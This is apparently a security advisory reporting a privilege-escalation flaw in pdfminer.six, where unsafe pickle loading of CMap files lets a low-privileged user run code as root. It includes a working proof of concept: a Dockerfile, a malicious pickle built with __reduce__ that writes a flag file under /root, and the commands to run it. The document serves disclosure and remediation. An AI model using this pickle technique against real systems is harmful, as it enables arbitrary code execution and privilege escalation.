Is pdfminer-six safe?

GHSA-f83h-ghpp-7wcc

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

• [🔍 Background](#-background)
• [🐍 Vulnerability Description](#-vulnerability-description)
• [🎭 Demo Scenario](#-demo-scenario)
• [🧨 Technical Details](#-technical-details)
• [🔧 Setup and Usage](#-setup-and-usage)
• [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)
• [🛡️ Security Standards & References](#-security-standards--references)

---

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

> 🐍 Security Issue: > If the CMap search path (CMAPPATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.

---

• Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
• Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
• Exploitability: If a low-privileged user can write to any directory in CMAPPATH, they can execute code as the user running pdfminer—potentially root or a privileged service.
• Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

Environment:

• 🐧 Alpine Linux (Docker container)
• 👨‍💻 Two users:
• user1 (attacker: low-privilege)
• root (victim: runs privileged PDF-processing script)
• 🗂️ Shared writable directory: /tmp/uploads
• 🛣️ CMAPPATH set to /tmp/uploads for the privileged script
• 📦 pdfminer.six installed system-wide

Attack Flow:

• 🕵️‍♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads.
• 👑 The privileged service (root) processes a PDF or calls getcmap("Evil").
• 💣 The malicious pickle is deserialized, running arbitrary code as root.
• 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

• Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
• Attack Prerequisites: Attacker can write to a directory included in CMAPPATH
• Vulnerable Line:

  return type(str(name), (), pickle.loads(gzfile.read()))

In pdfminer/cmapdb.py's loaddata method

• https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
• Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain:

• Attacker places a malicious .pickle.gz file in the CMap search path.
• Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
• Arbitrary code executes with the privilege of the process (root/service account).

FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE

• user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
• The root user runs a typical PDF-processing script, which loads CMap files from that directory.
• The exploit triggers, running arbitrary code as root.
• The attacker now has proof of code execution as root (and, in a real attack, could escalate further).